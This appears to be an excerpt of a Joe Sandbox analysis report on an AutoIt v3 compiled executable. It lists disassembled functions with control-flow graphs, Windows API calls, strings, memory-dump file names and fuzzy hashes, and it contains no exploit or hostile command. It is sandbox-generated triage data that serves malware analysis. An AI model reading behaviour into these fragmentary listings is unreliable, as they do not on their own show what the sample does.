                                                                                                                                                        • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0071366B
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                        • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                        • API String ID: 2914291525-1005189915
                                                                                                                                                        • Opcode ID: 1ab9a76ecc8dba1ff58589d027d50085510860e4570f8a8ee5b7fc727d108218
                                                                                                                                                        • Instruction ID: e6e11415f52ea079bd774520708c1f5e5e2a2005a45bf7271b9a2970ff2dd242
                                                                                                                                                        • Opcode Fuzzy Hash: 1ab9a76ecc8dba1ff58589d027d50085510860e4570f8a8ee5b7fc727d108218
                                                                                                                                                        • Instruction Fuzzy Hash: C821F9B1902358AFDB10DF94EC89BDD7BB8FB49704F00911AF511AA2A1D7B85941CF98
                                                                                                                                                        Function 007509FB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 491 7509fb-750a2b call 7507cf 494 750a46-750a52 call 7455b1 491->494 495 750a2d-750a38 call 73f656 491->495 500 750a54-750a69 call 73f656 call 73f669 494->500 501 750a6b-750ab4 call 75073a 494->501 502 750a3a-750a41 call 73f669 495->502 500->502 511 750ab6-750abf 501->511 512 750b21-750b2a GetFileType 501->512 509 750d1d-750d23 502->509 516 750af6-750b1c GetLastError __dosmaperr 511->516 517 750ac1-750ac5 511->517 513 750b73-750b76 512->513 514 750b2c-750b5d GetLastError __dosmaperr CloseHandle 512->514 519 750b7f-750b85 513->519 520 750b78-750b7d 513->520 514->502 518 750b63-750b6e call 73f669 514->518 516->502 517->516 521 750ac7-750af4 call 75073a 517->521 518->502 523 750b89-750bd7 call 7454fa 519->523 524 750b87 519->524 520->523 521->512 521->516 530 750be7-750c0b call 7504ed 523->530 531 750bd9-750be5 call 75094b 523->531 524->523 537 750c0d 530->537 538 750c1e-750c61 530->538 531->530 536 750c0f-750c19 call 748a3e 531->536 536->509 537->536 540 750c63-750c67 538->540 541 750c82-750c90 538->541 540->541 543 750c69-750c7d 540->543 544 750c96-750c9a 541->544 545 750d1b 541->545 543->541 544->545 546 750c9c-750ccf CloseHandle call 75073a 544->546 545->509 549 750cd1-750cfd GetLastError __dosmaperr call 7456c3 546->549 550 750d03-750d17 546->550 549->550 550->545
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0075073A: CreateFileW.KERNELBASE(00000000,00000000,?,00750AA4,?,?,00000000,?,00750AA4,00000000,0000000C), ref: 00750757
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00750B0F
                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00750B16
                                                                                                                                                        • GetFileType.KERNELBASE(00000000), ref: 00750B22
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00750B2C
                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00750B35
                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00750B55
                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 00750C9F
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00750CD1
                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00750CD8
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                        • String ID: H
                                                                                                                                                        • API String ID: 4237864984-2852464175
                                                                                                                                                        • Opcode ID: 54bbbe44837484a47728bc521f2b1aee8516cb70ff36229b2b3fad6b761184e6
                                                                                                                                                        • Instruction ID: 4fc4c01eee602d4ca4655923eb416ed0c4dee50801d1d674de4967a90b566970
                                                                                                                                                        • Opcode Fuzzy Hash: 54bbbe44837484a47728bc521f2b1aee8516cb70ff36229b2b3fad6b761184e6
                                                                                                                                                        • Instruction Fuzzy Hash: D6A12532A001488FDF199F78D896BEE7BA0AB0A325F144159FC11DF2A1CB799906CB95
                                                                                                                                                        Function 0071522E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071551B: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00715539
                                                                                                                                                          • Part of subcall function 007151BF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 007151E1
                                                                                                                                                        • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0071534B
                                                                                                                                                        • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00754BD7
                                                                                                                                                        • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00754C18
                                                                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 00754C5A
                                                                                                                                                        • _wcslen.LIBCMT ref: 00754CC1
                                                                                                                                                        • _wcslen.LIBCMT ref: 00754CD0
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                                                                                                                                        • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                                                                                                                        • API String ID: 98802146-2727554177
                                                                                                                                                        • Opcode ID: e567c4c75b30eea224a90896e70ee4843a7b61afeec2c1d6594639512a9258ac
                                                                                                                                                        • Instruction ID: 9ece3cca3fb85b19735d80bbbe8c054254b1c3bcc9bbdcd1d8f3409bebaef773
                                                                                                                                                        • Opcode Fuzzy Hash: e567c4c75b30eea224a90896e70ee4843a7b61afeec2c1d6594639512a9258ac
                                                                                                                                                        • Instruction Fuzzy Hash: ED717D71106340DEC314EF69D889DABBBE8FF99340F40452DF4458B1A1EB789A88CB65
                                                                                                                                                        Function 0071345A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                        • GetSysColorBrush.USER32(0000000F), ref: 00713465
                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00713474
                                                                                                                                                        • LoadIconW.USER32(00000063), ref: 0071348A
                                                                                                                                                        • LoadIconW.USER32(000000A4), ref: 0071349C
                                                                                                                                                        • LoadIconW.USER32(000000A2), ref: 007134AE
                                                                                                                                                        • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 007134C6
                                                                                                                                                        • RegisterClassExW.USER32(?), ref: 00713517
                                                                                                                                                          • Part of subcall function 007135AB: GetSysColorBrush.USER32(0000000F), ref: 007135DE
                                                                                                                                                          • Part of subcall function 007135AB: RegisterClassExW.USER32(00000030), ref: 00713608
                                                                                                                                                          • Part of subcall function 007135AB: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00713619
                                                                                                                                                          • Part of subcall function 007135AB: InitCommonControlsEx.COMCTL32(?), ref: 00713636
                                                                                                                                                          • Part of subcall function 007135AB: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00713646
                                                                                                                                                          • Part of subcall function 007135AB: LoadIconW.USER32(000000A9), ref: 0071365C
                                                                                                                                                          • Part of subcall function 007135AB: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0071366B
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                        • String ID: #$0$AutoIt v3
                                                                                                                                                        • API String ID: 423443420-4155596026
                                                                                                                                                        • Opcode ID: 87cb89d14dd2924e960e5077caace2464feb888a991e21e2e5641e7bc3b29723
                                                                                                                                                        • Instruction ID: 82585679630a9c9624a5a8921aedcd2318540037ba9b74646705350ddb6c7732
                                                                                                                                                        • Opcode Fuzzy Hash: 87cb89d14dd2924e960e5077caace2464feb888a991e21e2e5641e7bc3b29723
                                                                                                                                                        • Instruction Fuzzy Hash: 68215370D41358ABDB109FA5EC85B997FB8FB4CB50F00801AF505EA2A1D7BD4946CF98
                                                                                                                                                        Function 0071CA50 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __Init_thread_footer.LIBCMT ref: 0071CE8E
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Init_thread_footer
                                                                                                                                                        • String ID: p3~$p3~$p3~$p3~$p5~$p5~$x3~$x3~
                                                                                                                                                        • API String ID: 1385522511-3152774244
                                                                                                                                                        • Opcode ID: 956c1ab17ebb17046d293758746f161fec8ce1c34009b5169d6b2fdcc91bc7ac
                                                                                                                                                        • Instruction ID: 766f29c7d3441d23b4c073ab7787ebe55ffa6130ee3ff28cbe0cef9698ccd1b4
                                                                                                                                                        • Opcode Fuzzy Hash: 956c1ab17ebb17046d293758746f161fec8ce1c34009b5169d6b2fdcc91bc7ac
                                                                                                                                                        • Instruction Fuzzy Hash: DB32B075A04245DFDB21CF98C889EBAB7B5EF44310F588059EC06AB291C77CEE81CB90
                                                                                                                                                        Function 00713AA3 Relevance: 16.3, APIs: 3, Strings: 6, Instructions: 532COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 827 713aa3-713ac6 828 754139-75414c call 77a12a 827->828 829 713acc-713b35 call 73019b call 717953 call 71bf07 call 717953 * 2 call 716e52 827->829 835 754153-75415b 828->835 862 713b3b-713b48 call 716cce call 716b12 829->862 863 75456b-75457b call 77a12a 829->863 837 75415d-754165 835->837 838 75416b-754173 835->838 837->838 840 713b64-713bd3 call 71bf07 call 713a70 call 71bf07 call 71557e call 7141c9 call 716bfa 837->840 841 754175-75417c 838->841 842 75417e-754186 838->842 877 7541b4-7541bf 840->877 878 713bd9-713c48 call 71bf07 * 2 call 71694e call 717af4 SetCurrentDirectoryW call 71bd2c * 2 call 73019b call 7141a6 840->878 844 7541a6-7541af call 77d4bf 841->844 846 754191-754199 842->846 847 754188-75418f 842->847 844->840 846->840 850 75419f-7541a1 846->850 847->844 850->844 874 713b4d-713b5e call 716afb 862->874 869 754580 863->869 869->869 874->835 874->840 877->878 880 7541c5-7541f8 call 717953 call 71636d 877->880 924 713c4c-713c51 878->924 890 754502-754519 call 77a12a 880->890 891 7541fe-754225 call 7835cd call 7163db 880->891 899 713da5-713df0 call 71bd2c * 2 call 717953 call 71bd2c call 717953 call 7301a4 890->899 891->890 907 75422b-7542a7 call 73016b call 71bc23 call 71bb3d 891->907 926 7542ad-7542cf call 71bc23 907->926 927 75446f-7544ab call 71bc23 call 7813a0 call 774a0c call 734d0e 907->927 928 713d71-713d92 call 717953 SetCurrentDirectoryW 924->928 929 713c57-713c64 call 71ad74 924->929 941 7542e5-7542f0 call 7814a6 926->941 942 7542d1-7542e0 926->942 975 7544ad-7544d2 call 715c10 call 7301a4 call 781388 927->975 928->899 943 713d94-713da2 call 73015d call 7301a4 928->943 929->928 944 713c6a-713c86 call 714093 call 713ff3 929->944 959 7542f2-754308 941->959 960 75430d-754318 call 781492 941->960 948 754401-754414 call 71bb3d 942->948 943->899 972 75454e-754566 call 77a12a 944->972 973 713c8c-713ca3 call 713fb8 _wcslen 944->973 948->926 964 75441a-754424 948->964 959->948 978 75432e-754339 call 72e607 960->978 979 75431a-754329 960->979 969 754457 call 77a486 964->969 970 754426-754434 964->970 984 75445c-754469 969->984 970->969 976 754436-754455 call 7140e0 970->976 972->928 987 713ca5-713cc0 call 736755 973->987 988 713cc6-713cc9 973->988 975->899 976->984 978->948 992 75433f-75435b call 779f0d 978->992 979->948 984->926 984->927 987->988 994 713df3-713df9 987->994 988->994 995 713ccf-713cd4 988->995 1008 75435d-754388 call 71b25f call 71bd2c 992->1008 1009 75438a-75438d 992->1009 994->995 1002 713dff-75452a 994->1002 999 75452f-754537 call 779dd5 995->999 1000 713cda-713d13 call 71b25f call 713e15 995->1000 1020 75453c-75453f 999->1020 1026 713d30-713d32 1000->1026 1027 713d15-713d2c call 7301a4 call 73015d 1000->1027 1002->995 1055 7543b6-7543c7 call 71bc23 1008->1055 1015 75438f-7543b5 call 71b25f call 717d27 call 71bd2c 1009->1015 1016 7543c9-7543cc 1009->1016 1015->1055 1018 7543ed-7543f1 call 78142e 1016->1018 1019 7543ce-7543d7 call 779e3c 1016->1019 1036 7543f6-754400 call 7301a4 1018->1036 1040 7544d7-754500 call 77a12a call 7301a4 call 734d0e 1019->1040 1041 7543dd-7543e8 call 7301a4 1019->1041 1024 754545-754549 1020->1024 1025 713e08-713e10 1020->1025 1024->1025 1030 713d5e-713d6b 1025->1030 1031 713e04 1026->1031 1032 713d38-713d3b 1026->1032 1027->1026 1030->924 1030->928 1031->1025 1032->1025 1038 713d41-713d44 1032->1038 1036->948 1038->1020 1047 713d4a-713d59 call 7140e0 1038->1047 1040->975 1041->926 1047->1030 1055->1036
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00717953: CloseHandle.KERNELBASE(?,?,00000000,00753A1C), ref: 00717973
                                                                                                                                                          • Part of subcall function 00716E52: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00713B33,?,00008000), ref: 00716E80
                                                                                                                                                        • SetCurrentDirectoryW.KERNELBASE(?,?,?,?,00000000), ref: 00713C17
                                                                                                                                                        • _wcslen.LIBCMT ref: 00713C96
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00713D81
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CurrentDirectory$CloseCreateFileHandle_wcslen
                                                                                                                                                        • String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                                                                                                        • API String ID: 3350465876-3738523708
                                                                                                                                                        • Opcode ID: 6266a06b596d48755ba84e58f52b579f7d91927ef2fe9fded38e8a31b04e2535
                                                                                                                                                        • Instruction ID: 8061f59aec8d33be516bb925a969ba1e4b22242469202e8d3421436e7e743dde
                                                                                                                                                        • Opcode Fuzzy Hash: 6266a06b596d48755ba84e58f52b579f7d91927ef2fe9fded38e8a31b04e2535
                                                                                                                                                        • Instruction Fuzzy Hash: F1228D71108344DFC724EF28D885AEEBBF5BF94314F40491EF485972A2DB789A89CB52
                                                                                                                                                        Function 0071F680 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: D5~$D5~$D5~$D5~$D5~D5~$Variable must be of type 'Object'.
                                                                                                                                                        • API String ID: 0-90390050
                                                                                                                                                        • Opcode ID: fc2fc9fe706b1723cc915df70705f41027316e4db710f37022e42a7b0d633758
                                                                                                                                                        • Instruction ID: f44a0994f8cdd9c38742c5bcd1aac844f9f96aab737bc5a0cb5ab3829c64b138
                                                                                                                                                        • Opcode Fuzzy Hash: fc2fc9fe706b1723cc915df70705f41027316e4db710f37022e42a7b0d633758
                                                                                                                                                        • Instruction Fuzzy Hash: DCC28F71A00215DFDB24DF98C894BADB7B1FF09310F248169E946AB392D779AD81CB90
                                                                                                                                                        Function 00712A52 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1570 712a52-712a8b 1571 712a91-712aa7 mciSendStringW 1570->1571 1572 7539f4-7539f5 DestroyWindow 1570->1572 1573 712d08-712d15 1571->1573 1574 712aad-712ab5 1571->1574 1575 753a00-753a0d 1572->1575 1577 712d17-712d32 UnregisterHotKey 1573->1577 1578 712d3a-712d41 1573->1578 1574->1575 1576 712abb-712aca call 712e70 1574->1576 1579 753a3c-753a43 1575->1579 1580 753a0f-753a12 1575->1580 1591 712ad0-712ad8 1576->1591 1592 753a4a-753a56 1576->1592 1577->1578 1582 712d34-712d35 call 712712 1577->1582 1578->1574 1583 712d47 1578->1583 1579->1575 1588 753a45 1579->1588 1584 753a14-753a1c call 717953 1580->1584 1585 753a1e-753a21 FindClose 1580->1585 1582->1578 1583->1573 1590 753a27-753a34 1584->1590 1585->1590 1588->1592 1590->1579 1594 753a36-753a37 call 783c0b 1590->1594 1595 753a6e-753a7b 1591->1595 1596 712ade-712b03 call 71e650 1591->1596 1597 753a60-753a67 1592->1597 1598 753a58-753a5a FreeLibrary 1592->1598 1594->1579 1600 753aa2-753aa9 1595->1600 1601 753a7d-753a9a VirtualFree 1595->1601 1608 712b05 1596->1608 1609 712b3a-712b45 CoUninitialize 1596->1609 1597->1592 1599 753a69 1597->1599 1598->1597 1599->1595 1600->1595 1605 753aab 1600->1605 1601->1600 1604 753a9c-753a9d call 783c71 1601->1604 1604->1600 1610 753ab0-753ab4 1605->1610 1612 712b08-712b38 call 713047 call 712ff0 1608->1612 1609->1610 1611 712b4b-712b50 1609->1611 1610->1611 1615 753aba-753ac0 1610->1615 1613 753ac5-753ad2 call 783c45 1611->1613 1614 712b56-712b60 1611->1614 1612->1609 1626 753ad4 1613->1626 1617 712b66-712be7 call 71bd2c call 712f86 call 712e17 call 7301a4 call 712dbe call 71bd2c call 71e650 call 712e40 call 7301a4 1614->1617 1618 712d49-712d56 call 72fb27 1614->1618 1615->1611 1632 753ad9-753afb call 73015d 1617->1632 1660 712bed-712c11 call 7301a4 1617->1660 1618->1617 1631 712d5c 1618->1631 1626->1632 1631->1618 1638 753afd 1632->1638 1641 753b02-753b24 call 73015d 1638->1641 1648 753b26 1641->1648 1651 753b2b-753b4d call 73015d 1648->1651 1657 753b4f 1651->1657 1659 753b54-753b61 call 776d63 1657->1659 1665 753b63 1659->1665 1660->1641 1666 712c17-712c3b call 7301a4 1660->1666 1668 753b68-753b75 call 72bd6a 1665->1668 1666->1651 1671 712c41-712c5b call 7301a4 1666->1671 1674 753b77 1668->1674 1671->1659 1676 712c61-712c85 call 712e17 call 7301a4 1671->1676 1678 753b7c-753b89 call 783b9f 1674->1678 1676->1668 1685 712c8b-712c93 1676->1685 1684 753b8b 1678->1684 1686 753b90-753b9d call 783c26 1684->1686 1685->1678 1687 712c99-712caa call 71bd2c call 712f4c 1685->1687 1692 753b9f 1686->1692 1694 712caf-712cb7 1687->1694 1695 753ba4-753bb1 call 783c26 1692->1695 1694->1686 1696 712cbd-712ccb 1694->1696 1701 753bb3 1695->1701 1696->1695 1698 712cd1-712d07 call 71bd2c * 3 call 712eb8 1696->1698 1701->1701
                                                                                                                                                        APIs
                                                                                                                                                        • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00712A9B
                                                                                                                                                        • CoUninitialize.COMBASE ref: 00712B3A
                                                                                                                                                        • UnregisterHotKey.USER32(?), ref: 00712D1F
                                                                                                                                                        • DestroyWindow.USER32(?), ref: 007539F5
                                                                                                                                                        • FreeLibrary.KERNEL32(?), ref: 00753A5A
                                                                                                                                                        • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00753A87
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                                                                                                        • String ID: close all
                                                                                                                                                        • API String ID: 469580280-3243417748
                                                                                                                                                        • Opcode ID: f62200ffc7d0510629ad23c71cb51878d44eb067b411eaee258517c86ed02cc7
                                                                                                                                                        • Instruction ID: 5a1ae973e491215f0f5a08e598bad6f29491687ca8560b7945be5e56bac93707
                                                                                                                                                        • Opcode Fuzzy Hash: f62200ffc7d0510629ad23c71cb51878d44eb067b411eaee258517c86ed02cc7
                                                                                                                                                        • Instruction Fuzzy Hash: ADD17171701212CFCB29DF18C499AA9F760BF05741F14819DE84A6B2A2DB78ED67CF80
                                                                                                                                                        Function 0078874A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
